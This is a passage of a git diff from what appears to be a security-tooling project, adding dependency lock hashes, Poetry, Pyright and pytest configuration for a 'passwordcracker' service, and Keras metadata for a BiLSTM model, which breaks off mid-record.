"yara_python-4.3.1-cp38-cp38-win_amd64.whl", hash = "sha256:950377dd53d17870f66406f0db9ed9f6b04ac7e61c7f6fd5429459e2a00fd874"}, + {file = "yara_python-4.3.1-cp39-cp39-win32.whl", hash = "sha256:c032ad4ec6698a4f485b3d9721e6223028953bb61362482bdd7eabb147271e80"}, + {file = "yara_python-4.3.1-cp39-cp39-win_amd64.whl", hash = "sha256:f0b7b2ea840638415a075a25860dbcb6466d83000a8367196188a6367b01af71"}, +] + +[[package]] +name = "yarl" +version = "1.9.2" +description = "Yet another URL library" +category = "main" +optional = false +python-versions = ">=3.7" +files = [ + {file = "yarl-1.9.2-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:8c2ad583743d16ddbdf6bb14b5cd76bf43b0d0006e918809d5d4ddf7bde8dd82"}, + {file = "yarl-1.9.2-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:82aa6264b36c50acfb2424ad5ca537a2060ab6de158a5bd2a72a032cc75b9eb8"}, + {file = "yarl-1.9.2-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:c0c77533b5ed4bcc38e943178ccae29b9bcf48ffd1063f5821192f23a1bd27b9"}, + {file = "yarl-1.9.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ee4afac41415d52d53a9833ebae7e32b344be72835bbb589018c9e938045a560"}, + {file = "yarl-1.9.2-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:9bf345c3a4f5ba7f766430f97f9cc1320786f19584acc7086491f45524a551ac"}, + {file = "yarl-1.9.2-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:2a96c19c52ff442a808c105901d0bdfd2e28575b3d5f82e2f5fd67e20dc5f4ea"}, + {file = "yarl-1.9.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:891c0e3ec5ec881541f6c5113d8df0315ce5440e244a716b95f2525b7b9f3608"}, + {file = "yarl-1.9.2-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c3a53ba34a636a256d767c086ceb111358876e1fb6b50dfc4d3f4951d40133d5"}, + {file = "yarl-1.9.2-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:566185e8ebc0898b11f8026447eacd02e46226716229cea8db37496c8cdd26e0"}, + {file = "yarl-1.9.2-cp310-cp310-musllinux_1_1_i686.whl", hash = "sha256:2b0738fb871812722a0ac2154be1f049c6223b9f6f22eec352996b69775b36d4"}, + {file = "yarl-1.9.2-cp310-cp310-musllinux_1_1_ppc64le.whl", hash = "sha256:32f1d071b3f362c80f1a7d322bfd7b2d11e33d2adf395cc1dd4df36c9c243095"}, + {file = "yarl-1.9.2-cp310-cp310-musllinux_1_1_s390x.whl", hash = "sha256:e9fdc7ac0d42bc3ea78818557fab03af6181e076a2944f43c38684b4b6bed8e3"}, + {file = "yarl-1.9.2-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:56ff08ab5df8429901ebdc5d15941b59f6253393cb5da07b4170beefcf1b2528"}, + {file = "yarl-1.9.2-cp310-cp310-win32.whl", hash = "sha256:8ea48e0a2f931064469bdabca50c2f578b565fc446f302a79ba6cc0ee7f384d3"}, + {file = "yarl-1.9.2-cp310-cp310-win_amd64.whl", hash = "sha256:50f33040f3836e912ed16d212f6cc1efb3231a8a60526a407aeb66c1c1956dde"}, + {file = "yarl-1.9.2-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:646d663eb2232d7909e6601f1a9107e66f9791f290a1b3dc7057818fe44fc2b6"}, + {file = "yarl-1.9.2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:aff634b15beff8902d1f918012fc2a42e0dbae6f469fce134c8a0dc51ca423bb"}, + {file = "yarl-1.9.2-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:a83503934c6273806aed765035716216cc9ab4e0364f7f066227e1aaea90b8d0"}, + {file = "yarl-1.9.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b25322201585c69abc7b0e89e72790469f7dad90d26754717f3310bfe30331c2"}, + {file = "yarl-1.9.2-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:22a94666751778629f1ec4280b08eb11815783c63f52092a5953faf73be24191"}, + {file = "yarl-1.9.2-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:8ec53a0ea2a80c5cd1ab397925f94bff59222aa3cf9c6da938ce05c9ec20428d"}, + {file = "yarl-1.9.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:159d81f22d7a43e6eabc36d7194cb53f2f15f498dbbfa8edc8a3239350f59fe7"}, + {file = "yarl-1.9.2-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:832b7e711027c114d79dffb92576acd1bd2decc467dec60e1cac96912602d0e6"}, + {file = "yarl-1.9.2-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:95d2ecefbcf4e744ea952d073c6922e72ee650ffc79028eb1e320e732898d7e8"}, + {file = "yarl-1.9.2-cp311-cp311-musllinux_1_1_i686.whl", hash = "sha256:d4e2c6d555e77b37288eaf45b8f60f0737c9efa3452c6c44626a5455aeb250b9"}, + {file = "yarl-1.9.2-cp311-cp311-musllinux_1_1_ppc64le.whl", hash = "sha256:783185c75c12a017cc345015ea359cc801c3b29a2966c2655cd12b233bf5a2be"}, + {file = "yarl-1.9.2-cp311-cp311-musllinux_1_1_s390x.whl", hash = "sha256:b8cc1863402472f16c600e3e93d542b7e7542a540f95c30afd472e8e549fc3f7"}, + {file = "yarl-1.9.2-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:822b30a0f22e588b32d3120f6d41e4ed021806418b4c9f0bc3048b8c8cb3f92a"}, + {file = "yarl-1.9.2-cp311-cp311-win32.whl", hash = "sha256:a60347f234c2212a9f0361955007fcf4033a75bf600a33c88a0a8e91af77c0e8"}, + {file = "yarl-1.9.2-cp311-cp311-win_amd64.whl", hash = "sha256:be6b3fdec5c62f2a67cb3f8c6dbf56bbf3f61c0f046f84645cd1ca73532ea051"}, + {file = "yarl-1.9.2-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:38a3928ae37558bc1b559f67410df446d1fbfa87318b124bf5032c31e3447b74"}, + {file = "yarl-1.9.2-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ac9bb4c5ce3975aeac288cfcb5061ce60e0d14d92209e780c93954076c7c4367"}, + {file = "yarl-1.9.2-cp37-cp37m-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3da8a678ca8b96c8606bbb8bfacd99a12ad5dd288bc6f7979baddd62f71c63ef"}, + {file = "yarl-1.9.2-cp37-cp37m-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:13414591ff516e04fcdee8dc051c13fd3db13b673c7a4cb1350e6b2ad9639ad3"}, + {file = "yarl-1.9.2-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bf74d08542c3a9ea97bb8f343d4fcbd4d8f91bba5ec9d5d7f792dbe727f88938"}, + {file = "yarl-1.9.2-cp37-cp37m-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:6e7221580dc1db478464cfeef9b03b95c5852cc22894e418562997df0d074ccc"}, + {file = "yarl-1.9.2-cp37-cp37m-musllinux_1_1_aarch64.whl", hash = "sha256:494053246b119b041960ddcd20fd76224149cfea8ed8777b687358727911dd33"}, + {file = "yarl-1.9.2-cp37-cp37m-musllinux_1_1_i686.whl", hash = "sha256:52a25809fcbecfc63ac9ba0c0fb586f90837f5425edfd1ec9f3372b119585e45"}, + {file = "yarl-1.9.2-cp37-cp37m-musllinux_1_1_ppc64le.whl", hash = "sha256:e65610c5792870d45d7b68c677681376fcf9cc1c289f23e8e8b39c1485384185"}, + {file = "yarl-1.9.2-cp37-cp37m-musllinux_1_1_s390x.whl", hash = "sha256:1b1bba902cba32cdec51fca038fd53f8beee88b77efc373968d1ed021024cc04"}, + {file = "yarl-1.9.2-cp37-cp37m-musllinux_1_1_x86_64.whl", hash = "sha256:662e6016409828ee910f5d9602a2729a8a57d74b163c89a837de3fea050c7582"}, + {file = "yarl-1.9.2-cp37-cp37m-win32.whl", hash = "sha256:f364d3480bffd3aa566e886587eaca7c8c04d74f6e8933f3f2c996b7f09bee1b"}, + {file = "yarl-1.9.2-cp37-cp37m-win_amd64.whl", hash = "sha256:6a5883464143ab3ae9ba68daae8e7c5c95b969462bbe42e2464d60e7e2698368"}, + {file = "yarl-1.9.2-cp38-cp38-macosx_10_9_universal2.whl", hash = "sha256:5610f80cf43b6202e2c33ba3ec2ee0a2884f8f423c8f4f62906731d876ef4fac"}, + {file = "yarl-1.9.2-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:b9a4e67ad7b646cd6f0938c7ebfd60e481b7410f574c560e455e938d2da8e0f4"}, + {file = "yarl-1.9.2-cp38-cp38-macosx_11_0_arm64.whl", hash = "sha256:83fcc480d7549ccebe9415d96d9263e2d4226798c37ebd18c930fce43dfb9574"}, + {file = "yarl-1.9.2-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:5fcd436ea16fee7d4207c045b1e340020e58a2597301cfbcfdbe5abd2356c2fb"}, + {file = "yarl-1.9.2-cp38-cp38-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:84e0b1599334b1e1478db01b756e55937d4614f8654311eb26012091be109d59"}, + {file = "yarl-1.9.2-cp38-cp38-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:3458a24e4ea3fd8930e934c129b676c27452e4ebda80fbe47b56d8c6c7a63a9e"}, + {file = "yarl-1.9.2-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:838162460b3a08987546e881a2bfa573960bb559dfa739e7800ceeec92e64417"}, + {file = "yarl-1.9.2-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f4e2d08f07a3d7d3e12549052eb5ad3eab1c349c53ac51c209a0e5991bbada78"}, + {file = "yarl-1.9.2-cp38-cp38-musllinux_1_1_aarch64.whl", hash = "sha256:de119f56f3c5f0e2fb4dee508531a32b069a5f2c6e827b272d1e0ff5ac040333"}, + {file = "yarl-1.9.2-cp38-cp38-musllinux_1_1_i686.whl", hash = "sha256:149ddea5abf329752ea5051b61bd6c1d979e13fbf122d3a1f9f0c8be6cb6f63c"}, + {file = "yarl-1.9.2-cp38-cp38-musllinux_1_1_ppc64le.whl", hash = "sha256:674ca19cbee4a82c9f54e0d1eee28116e63bc6fd1e96c43031d11cbab8b2afd5"}, + {file = "yarl-1.9.2-cp38-cp38-musllinux_1_1_s390x.whl", hash = "sha256:9b3152f2f5677b997ae6c804b73da05a39daa6a9e85a512e0e6823d81cdad7cc"}, + {file = "yarl-1.9.2-cp38-cp38-musllinux_1_1_x86_64.whl", hash = "sha256:5415d5a4b080dc9612b1b63cba008db84e908b95848369aa1da3686ae27b6d2b"}, + {file = "yarl-1.9.2-cp38-cp38-win32.whl", hash = "sha256:f7a3d8146575e08c29ed1cd287068e6d02f1c7bdff8970db96683b9591b86ee7"}, + {file = "yarl-1.9.2-cp38-cp38-win_amd64.whl", hash = "sha256:63c48f6cef34e6319a74c727376e95626f84ea091f92c0250a98e53e62c77c72"}, + {file = "yarl-1.9.2-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:75df5ef94c3fdc393c6b19d80e6ef1ecc9ae2f4263c09cacb178d871c02a5ba9"}, + {file = "yarl-1.9.2-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:c027a6e96ef77d401d8d5a5c8d6bc478e8042f1e448272e8d9752cb0aff8b5c8"}, + {file = "yarl-1.9.2-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:f3b078dbe227f79be488ffcfc7a9edb3409d018e0952cf13f15fd6512847f3f7"}, + {file = "yarl-1.9.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:59723a029760079b7d991a401386390c4be5bfec1e7dd83e25a6a0881859e716"}, + {file = "yarl-1.9.2-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:b03917871bf859a81ccb180c9a2e6c1e04d2f6a51d953e6a5cdd70c93d4e5a2a"}, + {file = "yarl-1.9.2-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c1012fa63eb6c032f3ce5d2171c267992ae0c00b9e164efe4d73db818465fac3"}, + {file = "yarl-1.9.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a74dcbfe780e62f4b5a062714576f16c2f3493a0394e555ab141bf0d746bb955"}, + {file = "yarl-1.9.2-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8c56986609b057b4839968ba901944af91b8e92f1725d1a2d77cbac6972b9ed1"}, + {file = "yarl-1.9.2-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:2c315df3293cd521033533d242d15eab26583360b58f7ee5d9565f15fee1bef4"}, + {file = "yarl-1.9.2-cp39-cp39-musllinux_1_1_i686.whl", hash = "sha256:b7232f8dfbd225d57340e441d8caf8652a6acd06b389ea2d3222b8bc89cbfca6"}, + {file = "yarl-1.9.2-cp39-cp39-musllinux_1_1_ppc64le.whl", hash = "sha256:53338749febd28935d55b41bf0bcc79d634881195a39f6b2f767870b72514caf"}, + {file = "yarl-1.9.2-cp39-cp39-musllinux_1_1_s390x.whl", hash = "sha256:066c163aec9d3d073dc9ffe5dd3ad05069bcb03fcaab8d221290ba99f9f69ee3"}, + {file = "yarl-1.9.2-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:8288d7cd28f8119b07dd49b7230d6b4562f9b61ee9a4ab02221060d21136be80"}, + {file = "yarl-1.9.2-cp39-cp39-win32.whl", hash = "sha256:b124e2a6d223b65ba8768d5706d103280914d61f5cae3afbc50fc3dfcc016623"}, + {file = "yarl-1.9.2-cp39-cp39-win_amd64.whl", hash = "sha256:61016e7d582bc46a5378ffdd02cd0314fb8ba52f40f9cf4d9a5e7dbef88dee18"}, + {file = "yarl-1.9.2.tar.gz", hash = "sha256:04ab9d4b9f587c06d801c2abfe9317b77cdf996c65a90d5e84ecc45010823571"}, +] + +[package.dependencies] +idna = ">=2.0" +multidict = ">=4.0" + +[metadata] +lock-version = "2.0" +python-versions = "^3.11.2" +content-hash = "871ae040bdae08aebbc5afc4ce075f437cbcefbcd50ee691fc54a6920b6e1032" diff --git a/cmd/passwordcracker/poetry.toml b/cmd/passwordcracker/poetry.toml new file mode 100644 index 0000000..be97f1e --- /dev/null +++ b/cmd/passwordcracker/poetry.toml @@ -0,0 +1,3 @@ +[virtualenvs] +in-project = true +prefer-active-python = true \ No newline at end of file diff --git a/cmd/passwordcracker/pyproject.toml b/cmd/passwordcracker/pyproject.toml new file mode 100644 index 0000000..bdc53fd --- /dev/null +++ b/cmd/passwordcracker/pyproject.toml @@ -0,0 +1,94 @@ +[tool.poetry] +name = "passwordcracker" +version = "0.1.0" +description = "" +authors = ["SpecterOps "] +packages = [{ include = "passwordcracker" }] + +[tool.poetry.scripts] +app = "passwordcracker.__main__:main" + +[tool.poetry.dependencies] +python = "^3.11.2" +protobuf = "^4.21.5" +types-protobuf = "^3.20.0" +typing-extensions = "^4.4.0" +nemesispb = { path = "../../packages/python/nemesispb", develop = true } +nemesiscommon = { path = "../../packages/python/nemesiscommon", develop = true } +prometheus-async = { extras = ["aiohttp"], version = "^22.2.0" } +elasticsearch = "^8.6.2" +aiohttp = "^3.8.4" +httpx = "^0.23.3" +asyncpg = "^0.27.0" +winacl = "^0.1.7" +jsonlines = "^3.1.0" +aioboto3 = "^10.4.0" +impacket = "^0.10.0" +fastapi = "^0.82.0" +fastapi-class = "^2.0.0" +uvicorn = { extras = ["standard"], version = "^0.18.3" } +numpy = "^1.23.2" +python-magic = "^0.4.27" +pefile = "^2022.5.30" +dnfile = "^0.12.0" +yara-python = "^4.2.3" +sumy = "^0.10.0" +nltk = "^3.7" +olefile = "^0.46" +binaryornot = "^0.4.4" +lief = "^0.12.1" +py7zr = "^0.20.4" +pypdf = "^3.5.2" +colorama = "^0.4.6" +python-multipart = "^0.0.6" +rich = "^13.3.3" +structlog = "^23.1.0" +dependency-injector = "^4.41.0" + +[tool.poetry.dev-dependencies] +pytest = "^7.1.2" +black = "^22.6.0" +flake8 = "^5.0.4" +mypy = "^0.971" + +[tool.poetry.group.dev.dependencies] +pytest-asyncio = "^0.20.3" +pytest-mock = "^3.10.0" +bandit = "^1.7.5" +pyright = "^1.1.302" +asyncpg-stubs = "^0.27.0" +flake8-cognitive-complexity = "^0.1.0" +debugpy = "^1.6.7" + +[build-system] +requires = ["poetry-core>=1.0.0"] +build-backend = "poetry.core.masonry.api" + +[tool.isort] +import_heading_stdlib = "Standard Libraries" +import_heading_firstparty = "Nemesis Libraries" +import_heading_thirdparty = "3rd Party Libraries" +profile = "black" +extra_standard_library = "asgiref" +known_first_party = "nemesis" +src_paths = ["isort", "test"] +line_length = 90 +use_parentheses = true +multi_line_output = 3 +include_trailing_comma = true +ensure_newline_before_comments = true +sections = [ + "FUTURE", + "STDLIB", + "DJANGO", + "THIRDPARTY", + "FIRSTPARTY", + "LOCALFOLDER", +] + +# [tool.pyright] +# Using pyrightconfig.json instead since pyproject.toml has 2nd class +# support in VS code: https://github.com/microsoft/pyright/issues/694#issuecomment-823778235 + +[tool.black] +line-length = 240 diff --git a/cmd/passwordcracker/pyrightconfig.json b/cmd/passwordcracker/pyrightconfig.json new file mode 100644 index 0000000..102e0c9 --- /dev/null +++ b/cmd/passwordcracker/pyrightconfig.json @@ -0,0 +1,40 @@ +{ + "include": [ + "**/*.py" + ], + "exclude": [ + "**/__pycache__/**", + "**/.git/objects/**", + "**/.git/subtree-cache/**", + "**/.hg/store/**", + "**/.ipynb_checkpoints/**", + "**/.mypy_cache/**", + "**/.pytest_cache/**", + "**/.venv/**", + "**/*.egg-info/**", + "**/build/**", + "**/dist/**", + "**/node_modules/*/**", + "enrichment/lib/ext_tools/*", + ], + "executionEnvironments": [ + { + "root": ".", + "pythonVersion": "3.11", + "extraPaths": [ + "../../packages/python/nemesiscommon", + "../../packages/python/nemesispb", + ] + }, + ], + "ignore": [ + "enrichment/lib/ext_tools" + ], + "pythonVersion": "3.11", + "reportMissingImports": true, + "reportMissingTypeStubs": false, + "typeCheckingMode": "basic", + "useLibraryCodeForTypes": true, + "venvPath": ".", + "venv": ".venv" +} \ No newline at end of file diff --git a/cmd/passwordcracker/pytest.ini b/cmd/passwordcracker/pytest.ini new file mode 100644 index 0000000..a318d22 --- /dev/null +++ b/cmd/passwordcracker/pytest.ini @@ -0,0 +1,6 @@ +[pytest] +minversion = 6.0 +asyncio_mode = auto +addopts = -ra -q +testpaths = + tests diff --git a/cmd/passwordcracker/tests/__init__.py b/cmd/passwordcracker/tests/__init__.py new file mode 100644 index 0000000..e69de29 diff --git a/cmd/tensorflow-serving/models/bilstm_model/1/keras_metadata.pb b/cmd/tensorflow-serving/models/bilstm_model/1/keras_metadata.pb new file mode 100644 index 0000000..19dc141 --- /dev/null +++ b/cmd/tensorflow-serving/models/bilstm_model/1/keras_metadata.pb @@ -0,0 +1,22 @@ + +Ň7root"_tf_keras_sequential*­7{"name": "sequential", "trainable": true, "expects_training_arg": true, "dtype": "float32", "batch_input_shape": null, "must_restore_from_config": false, "class_name": "Sequential", "config": {"name": "sequential", "layers": [{"class_name": "InputLayer", "config": {"batch_input_shape": {"class_name": "__tuple__", "items": [null, 32]}, "dtype": "float32", "sparse": false, "ragged": false, "name": "embedding_input"}}, {"class_name": "Embedding", "config": {"name": "embedding", "trainable": true, "batch_input_shape": {"class_name": "__tuple__", "items": [null, 32]}, "dtype": "float32", "input_dim": 96, "output_dim": 20, "embeddings_initializer": {"class_name": "RandomUniform", "config": {"minval": -0.05, "maxval": 0.05, "seed": null}}, "embeddings_regularizer": null, "activity_regularizer": null, "embeddings_constraint": null, "mask_zero": true, "input_length": 32}}, {"class_name": "Bidirectional", "config": {"name": "bidirectional", "trainable": true, "dtype": "float32", "layer": {"class_name": "LSTM", "config": {"name": "lstm", "trainable": true, "dtype": "float32", "return_sequences": false, "return_state": false, "go_backwards": false, "stateful": false, "unroll": false, "time_major": false, "units": 200, "activation": "tanh", "recurrent_activation": "sigmoid", "use_bias": true, "kernel_initializer": {"class_name": "GlorotUniform", "config": {"seed": null}, "shared_object_id": 3}, "recurrent_initializer": {"class_name": "Orthogonal", "config": {"gain": 1.0, "seed": null}, "shared_object_id": 4}, "bias_initializer": {"class_name": "Zeros", "config": {}, "shared_object_id": 5}, "unit_forget_bias": true, "kernel_regularizer": null, "recurrent_regularizer": null, "bias_regularizer": null, "activity_regularizer": null, "kernel_constraint": null, "recurrent_constraint": null, "bias_constraint": null, "dropout": 0.0, "recurrent_dropout": 0.0, "implementation": 2}}, "merge_mode": "concat"}}, {"class_name": "Dropout", "config": {"name": "dropout", "trainable": true, "dtype": "float32", "rate": 0.5, "noise_shape": null, "seed": null}}, {"class_name": "Dense", "config": {"name": "dense", "trainable": true, "dtype": "float32", "units": 1, "activation": "sigmoid", "use_bias": true, "kernel_initializer": {"class_name": "GlorotUniform", "config": {"seed": null}}, "bias_initializer": {"class_name": "Zeros", "config": {}}, "kernel_regularizer": null, "bias_regularizer": null, "activity_regularizer": null, "kernel_constraint": null, "bias_constraint": null}}]}, "shared_object_id": 13, "input_spec": [{"class_name": "InputSpec", "config": {"dtype": null, "shape": {"class_name": "__tuple__", "items": [null, 32]}, "ndim": 2, "max_ndim": null, "min_ndim": null, "axes": {}}}], "build_input_shape": {"class_name": "TensorShape", "items": [null, 32]}, "is_graph_network": true, "full_save_spec": {"class_name": "__tuple__", "items": [[{"class_name": "TypeSpec", "type_spec": "tf.TensorSpec", "serialized": [{"class_name": "TensorShape", "items": [null, 32]}, "float32", "embedding_input"]}], {}]}, "save_spec": {"class_name": "TypeSpec", "type_spec": "tf.TensorSpec", "serialized": [{"class_name": "TensorShape", "items": [null, 32]}, "float32", "embedding_input"]}, "keras_version": "2.7.0", "backend": "tensorflow", "model_config": {"class_name": "Sequential", "config": {"name": "sequential", "layers": [{"class_name": "InputLayer", "config": {"batch_input_shape": {"class_name": "__tuple__", "items": [null, 32]}, "dtype": "float32", "sparse": false, "ragged": false, "name": "embedding_input"}, "shared_object_id": 0}, {"class_name": "Embedding", "config": {"name": "embedding", "trainable": true, "batch_input_shape": {"class_name": "__tuple__", "items": [null, 32]}, "dtype": "float32", "input_dim": 96, "output_dim": 20, "embeddings_initializer": {"class_name": "RandomUniform", "config": {"minval": -0.05, "maxval": 0.05, "seed": null}, "shared_object_id": 1}, "embeddings_regularizer": null, "activity_regularizer": null, "embeddings_constraint": null, "mask_zero": true, "input_length": 32}, "shared_object_id": 2}, {"class_name": "Bidirectional", "config": {"name": "bidirectional", "trainable": true, "dtype": "float32", "layer": {"class_name": "LSTM", "config": {"name": "lstm", "trainable": true, "dtype": "float32", "return_sequences": false, "return_state": false, "go_backwards": false, "stateful": false, "unroll": false, "time_major": false, "units": 200, "activation": "tanh", "recurrent_activation": "sigmoid", "use_bias": true, "kernel_initializer": {"class_name": "GlorotUniform", "config": {"seed": null}, "shared_object_id": 3}, "recurrent_initializer": {"class_name": "Orthogonal", "config": {"gain": 1.0, "seed": null}, "shared_object_id": 4}, "bias_initializer": {"class_name": "Zeros", "config": {}, "shared_object_id": 5}, "unit_forget_bias": true, "kernel_regularizer": null, "recurrent_regularizer": null, "bias_regularizer": null, "activity_regularizer": null, "kernel_constraint": null, "recurrent_constraint": null, "bias_constraint": null, "dropout": 0.0, "recurrent_dropout": 0.0, "implementation": 2}, "shared_object_id": 7}, "merge_mode": "concat"}, "shared_object_id": 8}, {"class_name": "Dropout", "config": {"name": "dropout", "trainable": true, "dtype": "float32", "rate": 0.5, "noise_shape": null, "seed": null}, "shared_object_id": 9}, {"class_name": "Dense", "config": {"name": "dense", "trainable": true, "dtype": "float32", "units": 1, "activation": "sigmoid", "use_bias": true, "kernel_initializer": {"class_name": "GlorotUniform", "config": {"seed": null}, "shared_object_id": 10}, "bias_initializer": {"class_name": "Zeros", "config": {}, "shared_object_id": 11}, "kernel_regularizer": null, "bias_regularizer": null, "activity_regularizer": null, "kernel_constraint": null, "bias_constraint": null}, "shared_object_id": 12}]}}, "training_config": {"loss": "binary_crossentropy", "metrics": [[{"class_name": "MeanMetricWrapper", "config": {"name": "accuracy", "dtype": "float32", "fn": "binary_accuracy"}, "shared_object_id": 15}, {"class_name": "FalseNegatives", "config": {"name": "fn", "dtype": "float32", "thresholds": null}, "shared_object_id": 16}, {"class_name": "FalsePositives", "config": {"name": "fp", "dtype": "float32", "thresholds": null}, "shared_object_id": 17}, {"class_name": "TrueNegatives", "config": {"name": "tn", "dtype": "float32", "thresholds": null}, "shared_object_id": 18}, {"class_name": "TruePositives", "config": {"name": "tp", "dtype": "float32", "thresholds": null}, "shared_object_id": 19}, {"class_name": "Precision", "config": {"name": "precision", "dtype": "float32", "thresholds": null, "top_k": null, "class_id": null}, "shared_object_id": 20}, {"class_name": "Recall", "config": {"name": "recall", "dtype": "float32", "thresholds": null, "top_k": null, "class_id": null}, "shared_object_id": 21}]], "weighted_metrics": null, "loss_weights": null, "optimizer_config": {"class_name": "Adam", "config": {"name": "Adam", "learning_rate": 0.0010000000474974513, "decay": 0.0, "beta_1": 0.8999999761581421, "beta_2": 0.9990000128746033, "epsilon": 1e-07, "amsgrad": false}}}}2 +Íroot.layer_with_weights-0"_tf_keras_layer*–{"name": "embedding", "trainable": true, "expects_training_arg": false, "dtype": "float32", "batch_input_shape": {"class_name": "__tuple__", "items": [null, 32]}, "stateful": false, "must_restore_from_config": false, "class_name": "Embedding", "config": {"name": "embedding", "trainable": true, "batch_input_shape": {"class_name": "__tuple__", "items": [null, 32]}, "dtype": "float32", "input_dim": 96, "output_dim": 20, "embeddings_initializer": {"class_name": "RandomUniform", "config": {"minval": -0.05, "maxval": 0.05, "seed": null}, "shared_object_id": 1}, "embeddings_regularizer": null, "activity_regularizer": null, "embeddings_constraint": null, "mask_zero": true, "input_length": 32}, "shared_object_id": 2, "build_input_shape": {"class_name": "TensorShape", "items": [null, 32]}}2 +š root.layer_with_weights-1"_tf_keras_layer*ă {"name": "bidirectional", "trainable": true, "expects_training_arg": true, "dtype": "float32", "batch_input_shape": null, "stateful": false, "must_restore_from_config": false, "class_name": "Bidirectional", "config": {"name": "bidirectional", "trainable": true, "dtype": "float32", "layer": {"class_name": "LSTM", "config": {"name": "lstm", "trainable": true, "dtype": "float32", "return_sequences": false, "return_state": false, "go_backwards": false, "stateful": false, "unroll": false, "time_major": false, "units": 200, "activation": "tanh", "recurrent_activation": "sigmoid", "use_bias": true, "kernel_initializer": {"class_name": "GlorotUniform", "config": {"seed": null}, "shared_object_id": 3}, "recurrent_initializer": {"class_name": "Orthogonal", "config": {"gain": 1.0, "seed": null}, "shared_object_id": 4}, "bias_initializer": {"class_name": "Zeros", "config": {}, "shared_object_id": 5}, "unit_forget_bias": true, "kernel_regularizer": null, "recurrent_regularizer": null, "bias_regularizer": null, "activity_regularizer": null, "kernel_constraint": null, "recurrent_constraint": null, "bias_constraint": null, "dropout": 0.0, "recurrent_dropout": 0.0, "implementation": 2}, "shared_object_id": 7}, "merge_mode": "concat"}, "shared_object_id": 8, "input_spec": [{"class_name": "InputSpec", "config": {"dtype": null, "shape": null, "ndim": 3, "max_ndim": null, "min_ndim": null, "axes": {}}, "shared_object_id": 22}], "build_input_shape": {"class_name": "TensorShape", "items": [null, 32, 20]}}2 +ů root.layer-2"_tf_keras_layer*Ď{"name": "dropout", "trainable": true, "expects_training_arg": true, "dtype": "float32", "batch_input_shape": null, "stateful": false, "must_restore_from_config": false, "class_name": "Dropout", "config": {"name": "dropout", "trainable": true, "dtype": "float32", "rate": 0.5, "noise_shape": null, "seed": null}, "shared_object_id": 9}2 +Čroot.layer_with_weights-2"_tf_keras_layer*‘{"name": "dense", "trainable": true, "expects_training_arg": false, "dtype": "float32", "batch_input_shape": null, "stateful": false, "must_restore_from_config": false, "class_name": "Dense", "config": {"name": "dense", "trainable": true, "dtype": "float32", "units": 1, "activation": "sigmoid", "use_bias": true, "kernel_initializer": {"class_name": "GlorotUniform", "config": {"seed": null}, "shared_object_id": 10}, "bias_initializer": {"class_name": "Zeros", "config": {}, "shared_object_id": 11}, "kernel_regularizer": null, "bias_regularizer": null, "activity_regularizer": null, "kernel_constraint": null, "bias_constraint": null}, "shared_object_id": 12, "input_spec": {"class_name": "InputSpec", "config": {"dtype": null, "shape": null, "ndim": null, "max_ndim": null, "min_ndim": 2, "axes": {"-1": 400}}, "shared_object_id": 23}, "build_input_shape": {"class_name": "TensorShape", "items": [null, 400]}}2 +÷ +'root.layer_with_weights-1.forward_layer"_tf_keras_rnn_layer*® +{"name": "forward_lstm", "trainable": true, "expects_training_arg": true, "dtype": "float32", "batch_input_shape": null, "stateful": false, "must_restore_from_config": false, "class_name": "LSTM", "config": {"name": "forward_lstm", "trainable": true, "dtype": "float32", "return_sequences": false, "return_state": false, "go_backwards": false, "stateful": false, "unroll": false, 